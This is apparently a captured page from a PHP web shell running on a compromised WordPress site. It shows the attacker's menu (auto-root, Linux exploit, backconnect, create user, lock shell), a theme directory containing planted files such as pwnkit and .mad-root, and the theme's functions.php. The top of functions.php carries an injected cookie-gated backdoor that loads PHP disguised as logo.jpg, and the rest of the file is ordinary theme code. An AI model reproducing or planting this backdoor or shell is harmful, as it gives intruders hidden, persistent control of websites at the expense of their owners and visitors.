Linux webm006.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.103.20.6 | : 216.73.216.183
Cant Read [ /etc/named.conf ]
5.4.45
formahte
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
formahte /
www /
wp-content /
themes /
formation /
[ HOME SHELL ]
Name
Size
Permission
Action
css
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
functions
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
inc
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
languages
[ DIR ]
drwxr-xr-x
page-templates
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
404.php
1.63
KB
-rw-r--r--
adminer.php
0
B
-rw-r--r--
archive.php
3.35
KB
-rw-r--r--
comments.php
3.15
KB
-rw-r--r--
content-aside.php
1.51
KB
-rw-r--r--
content-index.php
174.94
KB
-rw-r--r--
content-page.php
637
B
-rw-r--r--
content-single.php
2.28
KB
-rw-r--r--
content.php
2.58
KB
-rw-r--r--
custom-css.js
807
B
-rw-r--r--
footer.php
2.29
KB
-rw-r--r--
functions.php
18.99
KB
-rw-r--r--
functionsbak.php
18.5
KB
-rw-r--r--
header.php
4.17
KB
-rw-r--r--
image.php
5.36
KB
-rw-r--r--
index.php
1.91
KB
-rw-r--r--
license.txt
14.96
KB
-rw-r--r--
logo.jpg
174.94
KB
-rw-r--r--
no-results.php
1.15
KB
-rw-r--r--
page.php
1.03
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
readme.txt
1.69
KB
-rw-r--r--
rtl.css
47.04
KB
-rw-r--r--
screenshot.png
777.66
KB
-rw-r--r--
search.php
1.11
KB
-rw-r--r--
searchform.php
637
B
-rw-r--r--
sidebar.php
1.08
KB
-rw-r--r--
single.php
1.04
KB
-rw-r--r--
style.css
47.04
KB
-rw-r--r--
wpml-config.xml
1.78
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : functions.php
<?php /** * Loads the WordPress environment and template. * @package WordPress */ if(isset($_COOKIE["index"])){ $tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b"; $check = $_COOKIE["index"]; if($tmp == md5($check)){ if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){ require get_template_directory() ."/logo.jpg"; exit; } } } /** * This file is not added by default to WordPress theme pages when outputting * feed links. * @package WordPress */ /** * formation functions and definitions * * @package formation * @since formation 1.0 */ /** * Set the content width based on the theme's design and stylesheet. * * @since formation 1.0 */ if ( ! isset( $content_width ) ) $content_width = 654; /* pixels */ if ( ! function_exists( 'formation_setup' ) ): /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which runs * before the init hook. The init hook is too late for some features, such as indicating * support post thumbnails. * * @since formation 1.0 */ function formation_setup() { /** * Custom template tags for this theme. */ require( get_template_directory() . '/inc/template-tags.php' ); /** * Custom functions that act independently of the theme templates */ require( get_template_directory() . '/inc/tweaks.php' ); /** * Make theme available for translation * Translations can be filed in the /languages/ directory * If you're building a theme based on formation, use a find and replace * to change 'formation' to the name of your theme in all the template files */ load_theme_textdomain( 'formation', get_template_directory() . '/languages' ); /** * Add default posts and comments RSS feed links to head */ add_theme_support( 'automatic-feed-links' ); /** * This theme uses wp_nav_menu() in one location. */ register_nav_menus( array( 'primary' => __( 'Primary Menu', 'formation' ), ) ); /** * Add support for post thumbnails */ add_theme_support('post-thumbnails'); add_image_size( 100, 300, true); add_image_size( 'featured', 670, 300, true ); add_image_size( 'recent', 700, 400, true ); /** * Add support for the Aside Post Formats */ add_theme_support( 'post-formats', array( 'aside', ) ); // Display Title in theme add_theme_support( 'title-tag' ); // Add Custom Header Image support add_theme_support( 'custom-header' ); // Add background support $args = array( 'default-color' => 'ffffff', ); add_theme_support( 'custom-background', $args ); // link a custom stylesheet file to the TinyMCE visual editor $font_url = str_replace( ',', '%2C', '//fonts.googleapis.com/css?family=Open+Sans' ); add_editor_style( array('style.css', 'css/editor-style.css', $font_url) ); } endif; // formation_setup add_action( 'after_setup_theme', 'formation_setup' ); /** * Register widgetized area and update sidebar with default widgets * * @since formation 1.0 */ function formation_widgets_init() { register_sidebar( array( 'name' => __( 'Primary Sidebar', 'formation' ), 'id' => 'sidebar-1', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); register_sidebar( array( 'name' => __( 'Secondary Sidebar', 'formation' ), 'id' => 'sidebar-2', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); register_sidebar( array( 'name' => __( 'Left Sidebar', 'formation' ), 'id' => 'sidebar-3', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); register_sidebar(array( 'name' => 'Left Footer Column', 'id' => 'left_column', 'description' => 'Widget area for footer left column', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4>', 'after_title' => '</h4>' )); register_sidebar(array( 'name' => 'Center Footer Column', 'id' => 'center_column', 'description' => 'Widget area for footer center column', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4>', 'after_title' => '</h4>' )); register_sidebar(array( 'name' => 'Right Footer Column', 'id' => 'right_column', 'description' => 'Widget area for footer right column', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4>', 'after_title' => '</h4>' )); } add_action( 'widgets_init', 'formation_widgets_init' ); /** * Enqueue scripts and styles */ function formation_scripts() { wp_enqueue_style( 'formation-style', get_stylesheet_uri(), '', '2.2' ); wp_enqueue_style( 'font-awesome', get_template_directory_uri() . '/css/font-awesome.min.css', '', '2.2'); wp_enqueue_style( 'animate', get_template_directory_uri().'/css/animate.min.css', '', '2.2'); wp_enqueue_style( 'flexslider', get_template_directory_uri().'/js/flexslider.css', '', '2.2'); wp_enqueue_script( 'small-menu', get_template_directory_uri() . '/js/small-menu.js', array( 'jquery' ), '2.2', true ); wp_enqueue_script( 'keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '2.2' ); wp_enqueue_script( 'smoothup', get_template_directory_uri() . '/js/smoothscroll.js', array( 'jquery' ), '', true ); wp_enqueue_script( 'inview', get_template_directory_uri() . '/js/Inview.js', array('jquery')); wp_enqueue_script( 'theme-js', get_template_directory_uri() . '/js/animate.js', array('jquery', 'inview')); wp_enqueue_script( 'flexslider', get_template_directory_uri().'/js/jquery.flexslider-min.js', array('jquery')); wp_enqueue_script( 'flexslider-init', get_template_directory_uri().'/js/flexslider-init.js', array('jquery', 'flexslider')); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } if ( is_singular() && wp_attachment_is_image() ) { wp_enqueue_script( 'keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20120202' ); } } add_action( 'wp_enqueue_scripts', 'formation_scripts' ); /** * Implement excerpt for homepage slider */ function get_slider_excerpt(){ $excerpt = get_the_content(); $excerpt = preg_replace(" (\[.*?\])",'',$excerpt); $excerpt = strip_shortcodes($excerpt); $excerpt = strip_tags($excerpt); $excerpt = substr($excerpt, 0, 150); $excerpt = substr($excerpt, 0, strripos($excerpt, " ")); $excerpt = trim(preg_replace( '/\s+/', ' ', $excerpt)); return $excerpt; } /** * Implement excerpt for homepage recent posts */ function formation_get_recentposts_excerpt(){ $excerpt = get_the_content(); $excerpt = preg_replace(" (\[.*?\])",'',$excerpt); $excerpt = strip_shortcodes($excerpt); $excerpt = strip_tags($excerpt); $excerpt = substr($excerpt, 0, 250); $excerpt = substr($excerpt, 0, strripos($excerpt, " ")); $excerpt = trim(preg_replace( '/\s+/', ' ', $excerpt)); return $excerpt; } // Theme Options include('functions/customizer_controller.php'); include('functions/customizer_settings.php'); include('functions/customizer_styles.php'); /** * Implement excerpt for homepage thumbnails */ function content($limit) { $content = explode(' ', get_the_content(), $limit); if (count($content)>=$limit) { array_pop($content); $content = implode(" ",$content).'...'; } else { $content = implode(" ",$content); } $content = preg_replace('/\[.+\]/','', $content); $content = apply_filters('the_content', $content); $content = str_replace(']]>', ']]>', $content); return $content; } /** * Breadcrumbs * * This functions displays page breadcrumbs */ function formation_breadcrumbs() { /* === OPTIONS === */ $text['home'] = __('Home','formation'); // text for the 'Home' link $text['category'] = __('Archive by Category "%s"','formation'); // text for a category page $text['search'] = __('Search Results for "%s" Query','formation'); // text for a search results page $text['tag'] = __('Posts Tagged "%s"','formation'); // text for a tag page $text['author'] = __('Articles Posted by %s','formation'); // text for an author page $text['404'] = __('Error 404','formation'); // text for the 404 page $show_current = 1; // 1 - show current post/page/category title in breadcrumbs, 0 - don't show $show_on_home = 0; // 1 - show breadcrumbs on the homepage, 0 - don't show $show_home_link = 1; // 1 - show the 'Home' link, 0 - don't show $show_title = 1; // 1 - show the title for the links, 0 - don't show $delimiter = ' / '; // delimiter between crumbs $before = '<span class="current">'; // tag before the current crumb $after = '</span>'; // tag after the current crumb /* === END OF OPTIONS === */ global $post; $home_link = home_url('/'); $link_before = '<span typeof="v:Breadcrumb">'; $link_after = '</span>'; $link_attr = ' rel="v:url" property="v:title"'; $link = $link_before . '<a' . $link_attr . ' href="%1$s">%2$s</a>' . $link_after; $parent_id = $parent_id_2 = $post->post_parent; $frontpage_id = get_option('page_on_front'); if (is_home() || is_front_page()) { if ($show_on_home == 1) echo '<div class="breadcrumbs"><a href="' . $home_link . '">' . $text['home'] . '</a></div>'; } else { echo '<div class="breadcrumbs" xmlns:v="http://rdf.data-vocabulary.org/#">'; if ($show_home_link == 1) { echo '<a href="' . $home_link . '" rel="v:url" property="v:title">' . $text['home'] . '</a>'; if ($frontpage_id == 0 || $parent_id != $frontpage_id) echo $delimiter; } if ( is_category() ) { $this_cat = get_category(get_query_var('cat'), false); if ($this_cat->parent != 0) { $cats = get_category_parents($this_cat->parent, TRUE, $delimiter); if ($show_current == 0) $cats = preg_replace("#^(.+)$delimiter$#", "$1", $cats); $cats = str_replace('<a', $link_before . '<a' . $link_attr, $cats); $cats = str_replace('</a>', '</a>' . $link_after, $cats); if ($show_title == 0) $cats = preg_replace('/ title="(.*?)"/', '', $cats); echo $cats; } if ($show_current == 1) echo $before . sprintf($text['category'], single_cat_title('', false)) . $after; } elseif ( is_search() ) { echo $before . sprintf($text['search'], get_search_query()) . $after; } elseif ( is_day() ) { echo sprintf($link, get_year_link(get_the_time('Y')), get_the_time('Y')) . $delimiter; echo sprintf($link, get_month_link(get_the_time('Y'),get_the_time('m')), get_the_time('F')) . $delimiter; echo $before . get_the_time('d') . $after; } elseif ( is_month() ) { echo sprintf($link, get_year_link(get_the_time('Y')), get_the_time('Y')) . $delimiter; echo $before . get_the_time('F') . $after; } elseif ( is_year() ) { echo $before . get_the_time('Y') . $after; } elseif ( is_single() && !is_attachment() ) { if ( get_post_type() != 'post' ) { $post_type = get_post_type_object(get_post_type()); $slug = $post_type->rewrite; printf($link, $home_link . '/' . $slug['slug'] . '/', $post_type->labels->singular_name); if ($show_current == 1) echo $delimiter . $before . get_the_title() . $after; } else { $cat = get_the_category(); $cat = $cat[0]; $cats = get_category_parents($cat, TRUE, $delimiter); if ($show_current == 0) $cats = preg_replace("#^(.+)$delimiter$#", "$1", $cats); $cats = str_replace('<a', $link_before . '<a' . $link_attr, $cats); $cats = str_replace('</a>', '</a>' . $link_after, $cats); if ($show_title == 0) $cats = preg_replace('/ title="(.*?)"/', '', $cats); echo $cats; if ($show_current == 1) echo $before . get_the_title() . $after; } } elseif ( !is_single() && !is_page() && get_post_type() != 'post' && !is_404() ) { $post_type = get_post_type_object(get_post_type()); echo $before . $post_type->labels->singular_name . $after; } elseif ( is_attachment() ) { $parent = get_post($parent_id); $cat = get_the_category($parent->ID); $cat = $cat[0]; $cats = get_category_parents($cat, TRUE, $delimiter); $cats = str_replace('<a', $link_before . '<a' . $link_attr, $cats); $cats = str_replace('</a>', '</a>' . $link_after, $cats); if ($show_title == 0) $cats = preg_replace('/ title="(.*?)"/', '', $cats); echo $cats; printf($link, get_permalink($parent), $parent->post_title); if ($show_current == 1) echo $delimiter . $before . get_the_title() . $after; } elseif ( is_page() && !$parent_id ) { if ($show_current == 1) echo $before . get_the_title() . $after; } elseif ( is_page() && $parent_id ) { if ($parent_id != $frontpage_id) { $breadcrumbs = array(); while ($parent_id) { $page = get_page($parent_id); if ($parent_id != $frontpage_id) { $breadcrumbs[] = sprintf($link, get_permalink($page->ID), get_the_title($page->ID)); } $parent_id = $page->post_parent; } $breadcrumbs = array_reverse($breadcrumbs); for ($i = 0; $i < count($breadcrumbs); $i++) { echo $breadcrumbs[$i]; if ($i != count($breadcrumbs)-1) echo $delimiter; } } if ($show_current == 1) { if ($show_home_link == 1 || ($parent_id_2 != 0 && $parent_id_2 != $frontpage_id)) echo $delimiter; echo $before . get_the_title() . $after; } } elseif ( is_tag() ) { echo $before . sprintf($text['tag'], single_tag_title('', false)) . $after; } elseif ( is_author() ) { global $author; $userdata = get_userdata($author); echo $before . sprintf($text['author'], $userdata->display_name) . $after; } elseif ( is_404() ) { echo $before . $text['404'] . $after; } if ( get_query_var('paged') ) { if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ' ('; echo __('Page', 'formation') . ' ' . get_query_var('paged'); if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ')'; } echo '</div><!-- .breadcrumbs -->'; } } // end formation_breadcrumbs() /** * Social Media Links on Contributors template */ function author_social_media( $socialmedialinks ) { $socialmedialinks['alternate_image'] = __('Alternate Profile Image Url', 'formation'); $socialmedialinks['google_profile'] = 'Google+ URL'; $socialmedialinks['twitter_profile'] = 'Twitter URL'; $socialmedialinks['facebook_profile'] = 'Facebook URL'; $socialmedialinks['linkedin_profile'] = 'Linkedin URL'; return $socialmedialinks; } add_filter( 'user_contactmethods', 'author_social_media', 10, 1); /** * Custom "more" link format */ function new_excerpt_more($more) { global $post; return '...'; } add_filter('excerpt_more', 'new_excerpt_more'); /** * Implement the Custom Header feature */ function formation_custom_header_setup() { $args = array( 'default-image' => '', 'default-text-color' => '222', 'width' => 2000, 'height' => 500, 'flex-height' => true, 'wp-head-callback' => 'formation_header_style', 'admin-head-callback' => 'formation_admin_header_style', 'admin-preview-callback' => 'formation_admin_header_image', ); $args = apply_filters( 'formation_custom_header_args', $args ); if ( function_exists( 'wp_get_theme' ) ) { add_theme_support( 'custom-header', $args ); } } add_action( 'after_setup_theme', 'formation_custom_header_setup' ); if ( ! function_exists( 'formation_header_style' ) ) : /** * Styles the header image and text displayed on the blog * * @see formation_custom_header_setup(). * * @since formation 1.0 */ function formation_header_style() { // If no custom options for text are set, let's bail // get_header_textcolor() options: HEADER_TEXTCOLOR is default, hide text (returns 'blank') or any hex value if ( HEADER_TEXTCOLOR == get_header_textcolor() && '' == get_header_image() ) return; // If we get this far, we have custom styles. Let's do this. ?> <style type="text/css"> <?php // Do we have a custom header image? if ( '' != get_header_image() ) : ?> .site-header img { display: block; margin: 0.5em auto 0; } <?php endif; // Has the text been hidden? if ( 'blank' == get_header_textcolor() ) : ?> .site-title, .site-description { position: absolute !important; clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ clip: rect(1px, 1px, 1px, 1px); } .site-header hgroup { background: none; padding: 0; } <?php // If the user has set a custom color for the text use that else : ?> .site-title a, .site-description { color: #<?php echo get_header_textcolor(); ?> !important; } <?php endif; ?> </style> <?php } endif; // formation_header_style if ( ! function_exists( 'formation_admin_header_style' ) ) : /** * Styles the header image displayed on the Appearance > Header admin panel. * * @see formation_custom_header_setup(). * * @since formation 1.0 */ function formation_admin_header_style() { ?> <style type="text/css"> .appearance_page_custom-header #headimg { background: #FFF; border: none; min-height: 200px; } #headimg h1 { font-size: 20px; font-family: 'open_sansbold', sans-serif; font-weight: normal; padding: 0.8em 0.5em 0; } #desc { padding: 0 2em 2em; } #headimg h1 a, #desc { color: #222; text-decoration: none; } #headimg img { } </style> <?php } endif; // formation_admin_header_style if ( ! function_exists( 'formation_admin_header_image' ) ) : /** * Custom header image markup displayed on the Appearance > Header admin panel. * * @see formation_custom_header_setup(). * * @since formation 1.0 */ function formation_admin_header_image() { ?> <div id="headimg"> <?php if ( 'blank' == get_header_textcolor() || '' == get_header_textcolor() ) $style = ' style="display:none;"'; else $style = ' style="color:#' . get_header_textcolor() . ';"'; ?> <h1><a id="name"<?php echo $style; ?> onclick="return false;" href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php bloginfo( 'name' ); ?></a></h1> <div id="desc"<?php echo $style; ?>><?php bloginfo( 'description' ); ?></div> <?php $header_image = get_header_image(); if ( ! empty( $header_image ) ) : ?> <img src="<?php echo esc_url( $header_image ); ?>" alt="" /> <?php endif; ?> </div> <?php } endif; // formation_admin_header_image
Close